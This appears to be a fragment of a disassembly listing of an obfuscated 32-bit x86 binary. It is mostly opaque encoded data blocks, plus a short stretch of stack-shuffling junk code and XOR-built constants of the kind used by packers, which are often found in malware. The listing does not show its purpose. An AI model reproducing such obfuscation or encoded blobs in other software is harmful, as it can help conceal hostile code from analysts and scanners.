		dd 0E2DC902Bh, 66CCA2B0h, 3A30A200h, 8F01EFC6h,	0EB512894h
		dd 0B1151B8Dh, 0EAD651C3h, 784FAD13h, 0E63051A9h, 0EDDB7C60h
		dd 0BC0FF77Bh, 0D63EBAEEh, 2B096783h, 0F6AF3DDh, 6044CA3Ch
		dd 2823D772h, 0AD13A2B1h, 4DC64Fh, 50DB0000h, 9E7567DEh
		dd 0E068DA38h, 999C0EFCh, 10FED533h, 4AF6FABDh,	0C01E1B67h
		dd 0BE2DA4Eh, 799DE43Ch, 8E6C0DF1h, 9821840h, 0C1252D9Fh
		dd 9D2684EAh, 17h, 6044CCB2h, 3837EE89h, 2B839CC8h, 5448C056h
		dd 2BFFB3h, 0CC140000h,	0ECD05444h, 5B49AF15h, 381ED26Dh
		dd 0A0069CC8h, 0B7D6B42h, 392FA105h, 2A88EEC5h,	0C837D58Fh
		dd 0FA87DF9Ch, 0FB0141Ch, 0F81F5E24h, 4C06F0Ah,	3CAE96E0h
		dd 6448CA3Ah, 5BC127FEh, 3F61A6Dh, 0FAE64342h, 65D7C59Ch
		dd 2B9DFBEFh, 0B022C32Bh, 837148B4h, 8E46FA95h,	0C82EA2B0h
		dd 7EC53E75h, 0C9275B16h, 9583AAE9h, 0C81A5BFAh, 0C349BB9Ch
		dd 3CA208DFh, 39AB9965h, 1A72D03Ch, 47B7AF67h, 0CC3034A6h
		dd 3AD65AF5h, 8EE69CC8h, 3235A7F3h, 3391F7CEh, 946C45C1h
		dd 66E0448h, 16C59AAEh,	0CB31273Ch, 13247765h, 0DA3F81C9h
		dd 5745E644h, 0A87F63E5h, 5EF9E442h, 500FFA1Dh,	167468DEh
		dd 46CC543Fh, 17EEDE56h, 9D604BB1h, 0FB0260B2h,	4AC60A81h
		dd 0DB000000h, 0D7721D5Eh, 9CC83823h, 3800EC69h, 50816CD2h
		dd 0C83801B5h, 9883E99Ch, 48CC6550h, 0ED887664h, 9CC83839h
		dd 37AC60FBh, 369C9CC8h, 31E5806Eh, 199CC838h, 4EF4DB3h
		dd 7A1A6D5Bh, 1BD8C6EFh, 8A2C1775h, 50h, 0C762509Fh, 9CC83813h
		dd 2A969103h, 0E9D352C4h, 476AAB8Bh, 1B5505Ch, 0EE9CC838h
		dd 65509D88h, 0AA7748CCh, 0CC05B30h, 0FC9CC8C4h, 0A07F4396h
		dd 5431E580h, 0B3199CC8h, 87F9E74Dh, 0DE441B83h, 6D5B9580h
		dd 712C271Ah, 0E66ACF09h, 4F3A98FEh, 8B6246CCh,	0C4B6C6F0h
		dd 558469Ch, 0EB0DF1CDh, 7195E850h, 0D8BAC109h,	701169C7h
		dd 37B0D72Ah, 3C633500h, 99FFD63Ah, 0ED63D533h,	62E658F9h
		dd 3931A37Ah, 0C71FEEC5h, 0F0D45CBAh, 0D423714Fh, 46E70986h
		dd 0FC000000h, 3FDA46CCh, 9CC8378Bh, 0D8AF157Bh, 6F0AB9F8h
		dd 9CC837BBh, 0F1DF45ABh, 0E00A1B56h, 2CC7B596h, 0A2B04578h
		dd 3C9C0D60h, 8DABF0CCh, 9B01C927h, 0CDB40CC4h,	0F5D95BCDh
		dd 0BB2F2597h, 0EFD75BCDh, 0B354B218h, 6246CCC8h, 970D0274h
		dd 43826239h, 52402E1Ch, 0C83803B7h, 3A8DF39Ch,	8ABA5F6Eh
		dd 0AA5039Eh, 96E0CBE3h, 412CCD33h, 0FFA1D5Eh, 46CC7C67h
		dd 63E3DD56h, 0D83EA47Bh, 4A359B01h, 260B29Dh, 0C60A81FBh
		dd 3Dh,	69DE50DBh, 0D8369C73h, 0A290B7F8h, 0F3CA3630h
		dd 50442F8Dh, 0C83801B5h, 9883E99Ch, 48CC6550h,	1AF1DF58h
		dd 0D6CE42B4h, 483399FFh, 408A705Bh, 9C000000h,	0D83CC849h
		dd 0E240430Dh, 0FA1D5EF7h, 7462500Fh, 0C83825D9h, 51AF159Ch
		dd 0C83802B6h, 0A391F79Ch, 6BC93531h, 0F0625080h
		dd 0AD61FC78h, 9D9CC837h, 0E55FD137h, 5EBC22F9h, 6448CC73h
		dd 0CC705B79h, 0F08B6246h, 9CC4B6C6h, 60E65846h, 0BBC61E7Ch
		dd 50F1D55Bh, 84726ADEh, 4BA91312h, 960E0274h, 0E998F0BFh
		dd 20C1252Dh, 8677F442h, 2FB809h, 0CCCD0000h, 2746246h
		dd 11AC9A02h, 9CC8385Dh, 0B289E74Dh, 7E6C93D2h,	0E0E6BCE3h
		dd 0DE44A96h, 86146755h, 1567D61Fh, 2160B816h, 0EA8B7FF5h
		dd 7546CCFFh, 0A9475AB7h, 6940A6E6h, 9F03097Bh,	0EF226141h
		dd 4AB08777h, 85BF6E4h,	6E96E06Bh, 9EC71A08h, 88ACC2E1h
		dd 0ECDA7BD9h, 0C17510FEh, 0A9A2B03Ch, 3CF4A843h, 72E4A2B0h
		dd 0CE340BF1h, 5E1F0A68h, 0CC8D0D1Dh, 93C49E1Dh, 0C8B144F8h
		dd 68CE349Ch, 7C671702h, 776246CCh, 0DE50B29Dh,	359B726Ah
		dd 0FB9BF9D7h, 405F0A81h, 71000000h, 3834E883h,	0BE2499C8h
		dd 1D5E7560h, 1D8379EEh, 1B55032h, 0E99CC838h, 65509883h
		dd 6ADC48CCh, 0B26601EBh, 0F89CC837h, 64CA927Eh, 705B13FEh
		dd 4B41FD50h, 652E3851h, 345307h, 5E680000h, 8478EE1Dh
		dd 0F6E147ADh, 3801B550h, 88EE9CC8h, 0CC65509Dh, 0E6DE5848h
		dd 3DA37A62h, 349A00D7h, 0F0625049h, 4BB18874h,	0C837FCB0h
		dd 2886EC9Ch, 46CC5A45h, 2B9D8B62h, 0C762C024h,	9CC4B69Dh
		dd 42582981h, 8665AD0h,	8B2C9096h, 78EC4A9Dh, 566B5B7Ch
		dd 1C8086F8h, 61E55745h, 0E240A67Dh, 0AE9CC302h, 0E4E11C13h
		dd 3A40A96h, 0FA1D5E18h, 0CC7C670Fh, 9D776246h,	0FB0260B2h
		dd 0EF610A81h, 9D268478h, 42h, 0FA1D5EB2h, 1B5500Fh, 0E99CC838h
		dd 2D239583h, 50705BB9h, 3813C762h, 9D039CC8h, 5066513Fh
		dd 157369DEh, 382FA3A3h, 0FE705EC4h, 4F3A9804h,	6250705Bh
		dd 0C83813C7h, 3F9D039Ch, 228Bh, 1D5EA000h, 0B5500FFAh
		dd 9CC83801h, 509D88EEh, 857BF062h, 0FFEA48AEh,	766448CCh
		dd 3F9D0304h, 0CC705B54h, 9D8B6246h, 62C0242Bh,	0C4B69DC7h
		dd 5829819Ch, 0B35448BEh, 44C472C5h, 9545D4h, 0C63A30A2h
		dd 6FAE01EFh, 178D824Ch, 522837C4h, 0AED514F4h,	0E8D44EC0h
		dd 5F4DAB11h, 0E444B5C4h, 50D7F96h, 664CAA1h, 0D64EB3Eh
		dd 59AC1015h, 0FF650328h, 1D5E735Eh, 959A0CFAh,	67E6D12Fh
		dd 5646CC7Ch, 0AF15ECD0h, 0B29D5E49h, 81FB0260h, 39C60Ah
		dd 66D80000h, 0BF25FCE0h, 1D5E7661h, 3823D772h,	0AD139CC8h
		dd 60E75947h, 0BEDCB28Fh, 48AEE08Fh, 0C2AD0B71h, 3801B550h
		dd 83E99CC8h, 0CC655098h, 5B796448h, 278A70h, 5E9F0000h
		dd 500FFA1Dh, 0F0217462h, 4B482065h, 0F9661AB5h, 0E84E9CC8h
		dd 0F93BEF8Ah, 0CA309CC8h, 0CC6550DFh, 5B796448h, 5646CC70h
		dd 64FFEDDFh, 9CC837B0h, 0F5CC3298h, 0C1AFD615h, 0E00B3F26h
		dd 8BD62996h, 50BCB618h, 0DDC01379h, 3A026076h,	0D34533D4h
		dd 4916695Dh, 0C85F97A4h, 13523290h, 9F766AE0h,	92E5D339h
		dd 0DECD9ACh, 0FCEA4857h, 0C7570961h, 0FCD3399Ch, 369A9C0Eh
		dd 0FCE066D8h, 8DCD200Eh, 41E71D24h, 0F5D58924h, 181B9CCEh
		dd 2886ECB4h, 0AB1F1587h, 0C99D39D4h, 7F6D1CA4h, 0CEA5090Dh
		dd 5ECA527Bh, 0B71DCBA0h, 96800159h, 198B2C90h,	0EAD8AF13h
		dd 9D0FFD78h, 0F45A3195h, 0BE222496h, 0F6E65ED0h, 8066B91Fh
		dd 63C3102Ch, 0FDC9A0FEh, 4CBEDCA5h, 0A40AE1C7h, 7D5ED446h
		dd 26F294A2h, 0D86772D3h, 0EC36CB1Eh, 18927862h, 0BC22AEEFh
		dd 0D9C7B556h, 28FFEF67h, 5B7327C2h, 0FD631C70h, 5AC0740Fh
		dd 42A81C70h, 0FCFC72E4h, 56BC9379h, 36519F0h, 7A000000h
		dd 45CC8F7Ah, 1016885Fh, 0E063D5ACh, 0BCB325FCh, 0BFF7148h
		dd 0C64ABC93h, 939507DEh, 6EE6582Fh, 3035A77Eh,	5373F5CCh
		dd 0BE56E389h, 4, 835EF301h, 1C8704EBh,	0CC685C24h, 89000002h
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	7C91h
		mov	[esp], ecx
		mov	ecx, 7A53652Dh
		shl	ecx, 7
		xor	ecx, 2C5CFD69h
		mov	ebx, ecx
		pop	ecx
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	564Fh
		mov	[esp], ecx
		mov	ecx, 8
		add	ecx, eax
		mov	[ecx], ebx
		pop	ecx
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5497CE
; ---------------------------------------------------------------------------
		dd 9E72580Eh, 0C2AECD37h, 0B86E7F85h, 5EE737Eh,	0E0FFC503h
		dd 1BD03F36h, 4E8F160Dh, 551BADEDh, 0B00A848h, 64373425h
		dd 4CDAA028h, 5C484FFEh, 14CA83F0h, 3A24565Fh, 7AD8887Eh
		dd 0AC75CAFh, 7B059BFh,	1D451701h, 6A8063FFh, 64588D5Bh
		dd 38B294FEh, 10E93241h, 76C46D31h, 2C215874h, 14E8h, 34EDA100h
		dd 1A5D0C4Dh, 865A5123h, 3E06EE10h, 8C90AB18h, 81666040h
		dd 0E9C362C2h, 10h, 0F8C154BDh,	4A383B2Dh, 0E658922Eh
		dd 27D6C919h, 840F5E61h, 8, 0DFB70F60h,	61DFBF0Fh, 6698C681h
		dd 74680000h, 59000019h, 11E95060h, 0CD000000h,	58FC6515h
		dd 63D328A0h, 24F2E71h,	0D9098C67h, 0EB81605Bh,	93F11E8h
		dd 61FFB70Fh, 8036FF61h, 815ACDC7h, 2F83C0EAh, 81CEB315h
		dd 4A3DAEAh, 10E952h, 38D80000h, 804BAB41h, 556D4BF6h
		dd 0C7AD5AAEh, 0F2819C5Ah, 3653F97Eh, 0E9ABBF66h, 81661689h
		dd 81AEE5CFh, 0A2E56EEEh, 0FF56043h, 8161C3BFh,	0A2E56AC6h
		dd 817AB043h, 1E9h, 0A6850F00h,	0B3FFFFFFh, 10E839h, 47860000h
		dd 692041FFh, 0F47834F2h, 0E715F750h, 8166BC46h, 59388CF6h
		dd 81F0B70Fh, 6711C1h, 0BF00h, 8B660000h, 0F34FFD0h, 14E9h
		dd 0E2377D00h, 38AD8528h, 2849F27Ch, 0AB2ED5B2h, 0C1EE25DEh
		dd 81665852h, 81C066CBh, 7E56BAF0h, 8169B21Fh, 246641F0h
		dd 0AEF3817Ah, 8135317Dh, 8189D5E8h, 0D9B70F6Ah, 0F390489h
		dd 870FD7B7h, 1, 1EF83F8h, 652BA66h, 524F4F4Fh,	5AF3BF0Fh
		dd 997CFF81h, 850FFFFFh, 0FFFFFF99h, 8DD68B66h,	0EE76858Dh
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0F9600C27h, 0F8BF0F61h, 159D8D89h, 858B05E8h
		dd 5E808CDh, 585C7F9h, 6805E807h, 66000067h, 85C7C68Bh
		dd 5E80A61h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 20C35040h
		dd 4D2C5FCh, 0B761E00Fh, 0E3C054BBh, 69B5FF3Eh,	6A05E813h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0D707C352h, 0FDF8B66h, 682h, 21958B00h, 0FF05E812h
		dd 0E8081595h, 0E98D8905h, 6A05E80Ah, 0F995FF00h, 8B05E820h
		dd 154CEBC0h, 0D1BE308Ah, 0FCFA1219h, 14C5D667h, 96C448B6h
		dd 0B21931CCh, 6A2CFFFCh, 7712847Dh, 49D92D96h,	32F19DC5h
		dd 0E4A40B56h, 147A6346h, 0D705E53Dh, 0E20752FCh, 27F57198h
		dd 58C31910h, 0F6FD4A91h, 0D2AC862Eh, 3EA09E05h, 8D937472h
		dd 0EE77CF8Dh, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0D1339884h, 0C974A0B4h
		dd 159D8D89h, 958B05E8h, 5E82FE5h, 70585C7h, 693405E8h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0C819B7C3h, 89E0A0E0h, 0E808118Dh, 0D3B70F05h
		dd 0A6185C7h, 5E8h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0C3AD1EC3h, 56F7FB0Ch
		dd 0FF9FCC80h, 0E808D1B5h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 6099FDBFh
		dd 18E01078h, 816638B7h, 0FF066EDBh, 0E8081595h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 8BF5A635h, 0E81F2D95h, 0FF006A05h, 0E820F995h, 0EBC08B05h
		dd 6FC8BE1Bh, 0A011B041h, 5B1A1EBh, 833C903Bh, 480B5AB4h
		dd 469B2083h, 0F4AD0928h, 78718D8Dh, 8D8905EEh,	5E827D1h
		dd 0CD18589h, 8D8905E8h, 5E8159Dh, 2F1BD8Bh, 85C705E8h
		dd 5E80705h, 6F68h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 0BEC35040h, 85521A62h, 4AD7734Fh, 0CD8D8943h
		dd 0C705E820h, 0E80A6185h, 5, 0F3BF0F00h, 3075B5FFh, 8B0F05E8h
		dd 3, 0FFDFB70Fh, 0E8081595h, 21952905h, 6A05E820h, 0F995FF00h
		dd 8B05E820h, 644AEBC0h, 0C06F4194h, 7B0BCB95h,	1045ECF6h
		dd 0B663897h, 0BFA92C14h, 0F6EABE5Bh, 0D60FCAFDh, 2CB43DDDh
		dd 0EC95E3C9h, 37D659F2h, 4A696895h, 705D9225h,	0C7628DB2h
		dd 4F6B8C89h, 37BE1E79h, 2D0A896Dh, 0B305F9C5h,	0CBA0B182h
		dd 8E834h, 59B50000h, 8DB81257h, 0B5892C60h, 5E8127Dh
		dd 51BD2958h, 8105E82Fh, 6942C0h, 4860F00h, 52000000h
		dd 0B95BF88Bh, 1A29h, 0C27ECCBFh, 6630FF3Dh, 665AD98Bh
		dd 0F281DE8Bh, 6C6656BBh, 0B43EEA81h, 0F28129A2h, 52CAC8FBh
		dd 7E9h, 3CF73100h, 0EF1687B8h,	85891089h, 5E80305h, 6601E883h
		dd 0FCD7CE81h, 66484848h, 8D47DE81h, 0F01E983h,	1985h
		dd 26E900h, 15960000h, 30BD330h, 3165C884h, 5D34FDD0h
		dd 35780F2h, 0E9FC2AF0h, 0FFFFFF99h, 0F6B21B0Ah, 0BC3BA195h
		dd 4A6DFECFh, 7A3F8D8Dh, 0BD8905EEh, 5E814D5h, 0C61BD8Bh
		dd 8D8905E8h, 5E8159Dh,	0AE8h, 11E32500h, 0CA10C71h, 0B8C293F1h
		dd 4A152904h, 585C75Bh,	9805E807h, 6A00005Ah, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0EAEFC350h, 8A490A8Dh, 6185C7FAh, 5E80Ah, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 7D13C355h, 7A9F9D73h, 8924C108h, 0E81495BDh
		dd 0DDB5FF05h, 8905E82Eh, 0E81A7595h, 10E905h, 0C1B50000h
		dd 0F299FF4Fh, 0F0D2D984h, 6EB4E723h, 95FFDDECh, 5E80815h
		dd 11E8h, 45FCA000h, 0BDC007E0h, 53568A8Bh, 64C94740h
		dd 95234A9Bh, 5E81565h,	0FF006A5Fh, 0E820F995h,	0EBC08B05h
		dd 2C80617Ch, 2388A375h, 629F15BFh, 0AF48D731h,	0CE31DBD9h
		dd 55DCE44Ah, 0A5E3D967h, 6DF59743h, 0BE944B4Fh, 0AC290A6Dh
		dd 360164BFh, 260EBB6Ch, 0F81297AAh, 65139864h,	0BCF6CBEAh
		dd 0C76F1EF8h, 2748DF0Ch, 0DD88ED4Dh, 0DE61E9CFh, 33AB2903h
		dd 0B798489Ah, 0E4ADB964h, 0F02847A9h, 2FB436D9h, 9DD99924h
		dd 8D47F43Dh, 9DD59B25h, 0BC32E7C1h, 104C3994h,	260B08F4h
		dd 53800E8Dh, 1585C64Ah, 5605E820h, 0C530DF68h,	0A9B5FFA9h
		dd 8D05E80Ch, 0EB7B3085h, 8DD0FF05h, 0E819718Dh, 406A5105h
		dd 0E41B5FFh, 0B5FF05E8h, 5E83119h, 0B5FFD0FFh,	5E80E41h
		dd 3119B5FFh, 0EE805E8h, 4C000000h, 0C3F1DCA0h,	0F8D29130h
		dd 89A73A4h, 835858E1h,	2CC104E8h, 24C10224h, 4030224h
		dd 241CF724h, 34FFF633h, 0EB815B06h, 27D2B483h,	0E80AF381h
		dd 0F38179CDh, 590FF8EFh, 83301C89h, 343B04EEh,	0DB850F24h
		dd 8DFFFFFFh, 0E830BD9Dh, 0B038B05h, 7840FC0h, 8B000000h
		dd 45B8B03h, 0C98B1889h, 7C4E8D8Dh, 0B70F05EEh,	0AE9FEh
		dd 0C1E30000h, 6F2B636Dh, 0EAB4530Ah, 159D8D89h, 6A05E8h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0B3A326C3h, 870BE740h, 0F9E3633h, 18Ch, 0D681F500h
		dd 68E55ED8h, 7CD9529h,	85C705E8h, 5E80705h, 656Ch, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0BDC35646h, 0A6185C7h
		dd 5E8h, 0B58B0000h, 5E814EDh, 6E5CF281h, 0B5FF72D9h, 5E816B1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 8AC35747h
		dd 696A609Bh, 4F84BE66h, 81595FFh, 6A05E8h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 850BFDC3h
		dd 5E802F5h, 95FF006Ah,	5E820F9h, 59EBC08Bh, 0BBC9704h
		dd 0D098DBFAh, 1FC7181Ah, 0ECF23197h, 48A03881h, 3EF68D9Eh
		dd 0A8E82508h, 1C6C513Dh, 150450CBh, 9A9B9456h,	61081AA0h
		dd 8F054DCFh, 8859DC08h, 0F140CD09h, 0A113A7Fh,	0E8A1D0C5h
		dd 279B9F84h, 0CB144866h, 0A41F1EE8h, 0C346C478h, 0D326B9DFh
		dd 0E7D689A1h, 15FE931h, 8B520000h, 0E860D4h, 5D000000h
		dd 7CBAED81h, 428B05EEh, 38453D08h, 850F7826h, 138h, 8B0C428Bh
		dd 0C8D3184Ah, 0DB3D45BBh, 83C3337Ah, 858904E8h, 5E8159Dh
		dd 8B04588Bh, 10428BF8h, 0D3184A8Bh, 7031BEC8h,	0C633F91Ah
		dd 0E083C72Bh, 4E883FCh, 7058589h, 428B05E8h, 61858914h
		dd 8B05E80Ah, 0E9531842h, 0B0h,	1369B5FFh, 0B9E905E8h
		dd 0FF000000h, 0E830EDB5h, 0AEE905h, 0B5FF0000h, 5E816B1h
		dd 0A3E9h, 39B5FF00h, 0E905E81Ah, 98h, 10D9B5FFh, 8DE905E8h
		dd 0FF000000h, 0E823B9B5h, 82E905h, 0B5FF0000h,	5E81AA5h
		dd 77E9h, 0BDB5FF00h, 0E905E815h, 6Ch, 306DB5FFh, 61E905E8h
		dd 0FF000000h, 0E808D1B5h, 56E905h, 0B5FF0000h,	5E82269h
		dd 4BE9h, 0DDB5FF00h, 0E905E82Eh, 40h, 21D9B5FFh, 35E905E8h
		dd 0FF000000h, 0E80E29B5h, 2AE905h, 0B5FF0000h,	5E82849h
		dd 1FE9h, 75B5FF00h, 0E905E830h, 14h, 0BB8D88Bh, 66000000h
		dd 8D8DE3F7h, 5EE7D1Bh,	0E1FFC803h, 81595FFh, 8B5B05E8h
		dd 0E8159D85h, 4583905h, 0F850Fh, 6A530000h, 0F995FF01h
		dd 5B05E820h, 0FFFFE2E9h, 0C35A61FFh, 6AB85A61h, 0FF77D4C9h
		dd 0B1858BE0h, 8D05E80Dh
		dd 0EE7E098Dh, 1418905h, 0DE8C38Bh, 0A2000000h,	0D4B2211Ch
		dd 4CAB04FEh, 913F1D6Ah, 5820Fh, 81660000h, 5AEFCFE9h
		dd 84D98166h, 0B5C2816Eh, 68000063h, 18C7h, 805ECA8Bh
		dd 3A8B7FE8h, 17890Fh, 0E8600000h, 9, 66BBC41Bh, 109FD304h
		dd 820F5F21h, 0
		dd 35C78161h, 0B85B9620h, 4B8D24C1h, 0CA72F781h, 665006DCh
		dd 0F015D181h, 79F7815Bh, 0F733D36h, 8F57D9B7h,	0F606002h
		dd 8Ah,	0D7BF0F00h, 18D0F61h, 0F5000000h, 4EA8361h, 0C4D98166h
		dd 1EE83BCh, 0FF98850Fh, 0C081FFFFh, 0F1F4AEEh,	0ABE9h
		dd 2E8D5000h, 72B11C3Fh, 0ACABDA5Fh, 92B395A7h,	95A1F445h
		dd 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h
		dd 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h
		dd 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh
		dd 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h,	0AFF144D6h
		dd 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh
		dd 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh
		dd 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh
		dd 0E7A601E8h, 83323D94h, 41EC3FC7h, 118DE9h, 81396800h
		dd 1FE905EEh, 68FFF9FFh, 5EE81E6h, 0F9FF15E9h, 82BD68FFh
		dd 0BE905EEh, 68FFF9FFh, 5EE83EBh, 0F9FF01E9h, 846D68FFh
		dd 0F7E905EEh, 68FFF9FEh, 5EE851Dh, 0F9FEEDE9h,	85EB68FFh
		dd 0E3E905EEh, 68FFF9FEh, 5EE8698h, 0F9FED9E9h,	873068FFh
		dd 0CFE905EEh, 68FFF9FEh, 5EE889Fh, 0F9FEC5E9h,	896368FFh
		dd 0BBE905EEh, 68FFF9FEh, 5EE8AD5h, 0F9FEB1E9h,	8C5B68FFh
		dd 0A7E905EEh, 68FFF9FEh, 5EE8DFBh, 0F9FE9DE9h,	8EC768FFh
		dd 93E905EEh, 0DAFFF9FEh, 5ACC6D57h, 0DE50F1DBh, 63D57666h
		dd 0EA5CFDE1h, 1EDD7E66h, 41A5AD7Eh, 0C3392EA0h, 49B7B022h
		dd 0CC3036A8h, 3ED9C72Bh, 0A2B6B78Ah, 0CCCDB87Ah, 8B3FDA46h
		dd 559CC837h, 0C83806BAh, 0C088EE9Ch, 0AB1DF45Ah, 0C0A041A5h
		dd 196C5A81h, 0F2A1F9Ah, 2B9859CEh, 2ADCD728h, 0DD7866C4h
		dd 96E072AEh, 0AF151A8Ch, 350C72D8h, 2D27F447h,	4EF15175h
		dd 0A49D55F0h, 4CA4A2B0h, 60277535h, 25EB0F6Ah,	0
		dd 0AF81F5Eh, 0E00C206Fh, 11E84E96h, 0B042BE76h, 146DC5A2h
		dd 0AE121486h, 2247250h, 0BCE80F6Ah, 0FD000000h, 0DC5646CCh
		dd 0A1786CE4h, 986FD53Bh, 0B6AE2226h, 0A3096F46h, 0F0D45ACCh
		dd 3DA1A719h, 383CAE9Ch, 3997FDD4h, 0C833FF9Eh,	0FBEF659Ch
		dd 7E62E85Ah, 6188C7A7h, 1F138573h, 0C6AD0A7h, 0E009D671h
		dd 63B6A496h, 3070C520h, 5E12ADF4h, 20A2B0A8h, 0B0A7D185h
		dd 8B53B9A2h, 3E1EBF25h, 4FEAD8FFh, 9CC5DE81h, 984CE7D5h
		dd 809CCB10h, 54C6B41Ah, 0D547E8DCh, 971F695Dh,	0D3F1D1E7h
		dd 0F2748FCh, 0C050000h, 8085F798h, 0D097B1Ch, 948E00A1h
		dd 1D158728h, 954908A9h, 0CB6C50D8h, 4DEED259h,	0D37458DBh
		dd 56F7EB61h, 0B56904F2h, 0A5A2B6B8h, 44CCF8E3h, 0C74DBF60h
		dd 5E5742E3h, 6F0AF81Fh, 96E00C20h, 7611E84Eh, 0A2B042BEh
		dd 96146DC5h, 0F6A0248h, 0A50Ch, 46CC2100h, 11198B62h
		dd 9C3BD6ADh, 0D09CC834h, 53C5665Ah, 3212E9DDh,	43DECCF3h
		dd 96E009A8h, 9987288Eh, 5EBC2027h, 2A183F7Eh, 0CAA3948Fh
		dd 0F870E29Ch, 0EC2DE17Ch, 0B71D9CCAh, 8BFDEB51h, 0C7E1F87h
		dd 289C9404h, 3B85EB51h, 0F1D1C1E9h, 7A6E22F9h,	0B200000Eh
		dd 32A445BFh, 0B628C933h, 3BAD4EBEh, 0C234D539h, 0F6B5564Eh
		dd 198D8526h, 9B010678h, 218F88FAh, 0A4180E80h,	16B19F03h
		dd 0A2B6B962h, 0CCA59052h, 1F726044h, 2CB2445Eh, 5AFB5990h
		dd 2FE37E6Ch, 179CC884h, 0D83EA2A5h, 9E02087Ah,	46CC12FDh
		dd 13198B62h, 989C0EAFh, 1C6F5D34h, 4BDEBE8Eh, 0CDDF3282h
		dd 7AACC514h, 3097BD9h,	0F5AEFE9Fh, 34224988h, 0E0FB1699h
		dd 0E45EC496h, 2BA99249h, 22968ADh, 0FFE7914h, 64D68943h
		dd 0BF25FCE0h, 45339961h, 783D6F2h, 52F6B86Ch, 0E73AA094h
		dd 379577F8h, 1A418060h, 0AFA9912Ch, 73D98E68h,	9D1D1385h
		dd 0FA60379Bh, 0BFBD710Ch, 47AD8F29h, 8681F3E1h, 0A91BBC1Ah
		dd 0A1F53FA3h, 0BDE43095h, 0DA332E6h, 80890000h, 0C097B1Ch
		dd 898DFFA0h, 10128425h, 91990BACh, 11CD8C2Dh, 4FF0D45Ch
		dd 0D17256DDh, 57F8E45Fh, 0DA7B6FE5h, 39ED8876h, 21A2B6BAh
		dd 46CC745Fh, 0AF9D8B62h, 0C8386014h, 84E2489Ch, 503E65A4h
		dd 0E015DAB5h, 4C3AA096h, 127054DAh, 16118371h,	0F6DD3AAh
		dd 63DCF02Fh, 0FCA031F0h, 0EE8977DDh, 9CC87653h, 4BE6BD23h
		dd 9CC87993h, 6B3F429Ah, 982391Dh, 3FF38E7Ch, 279CC86Eh
		dd 47DA63C1h, 0EF000000h, 0AF81F5Eh, 42AAAA1Ch,	0CA7749E4h
		dd 65D796E0h, 897DF3E3h, 80E64CB2h, 0B9272092h,	84C37D18h
		dd 3A8DA2B0h, 0AE5B72CDh, 1789E71Ah, 9A0CAD11h,	6E5C3399h
		dd 0A8140E80h, 0B0AE590Dh, 7DDB41A2h, 0CD8C9h, 1F5EDE00h
		dd 9A6F0AF8h, 0CC96DEB8h, 67866h, 161C9490h, 0F754CB2h
		dd 909608A9h, 3675552Ch, 0B9AF210Fh, 0A2EED258h, 0C42ABAD3h
		dd 6DDD7866h, 0CD9CCD4Bh, 1077967h, 848AFC9Dh, 0D4AB1114h
		dd 9276FC6Eh, 18EF55BBh, 42C6F938h, 0B71D835Ah,	0D4A72EC9h
		dd 0F15796E1h, 0B7E949A7h, 0EEA279F7h, 0C75h, 0A94AB2B7h
		dd 2DCE3E37h, 0B253BBBBh, 39DAC640h, 0BA5B43C7h, 868A23FBh
		dd 40B7D1Eh, 8A8DFFA0h,	1D138526h, 0B6A408A9h, 0B6BB671Bh
		dd 0A28D4FA2h, 99C4FD50h, 6D5830D4h, 0BC937BFBh, 0A55DF856h
		dd 7D9CC91Bh, 8E29173Eh, 96DF9D46h, 30A290F6h, 51BBBA3Ah
		dd 0DAE147Ah, 5A31959Bh, 26143B7Ah, 0CEAFB08Bh,	0D772609Ch
		dd 9CCEF023h, 3BA7A113h, 3A98FE64h, 92C20C72h, 9EF1D5C5h
		dd 0BF313C7h, 30390000h, 0BCB92BCCh, 393DAF50h,	40C234D5h
		dd 0C149BB5Ch, 0A17D3CDDh, 0FFA0040Ch, 8122868Dh, 7A8140Fh
		dd 8A2B9F95h, 0E99D3826h, 0D1A2B6BBh, 46CC240Fh, 17EEDE56h
		dd 86744BB1h, 0C14E5033h, 197F564Ah, 0DA38B6C6h, 5773BE25h
		dd 4CAA109Fh, 4DE854DAh, 9CC86099h, 0A4180F81h,	9B0167CDh
		dd 89F850C4h, 0C20BE11h, 0A439730h, 0AD80CEACh,	93440982h
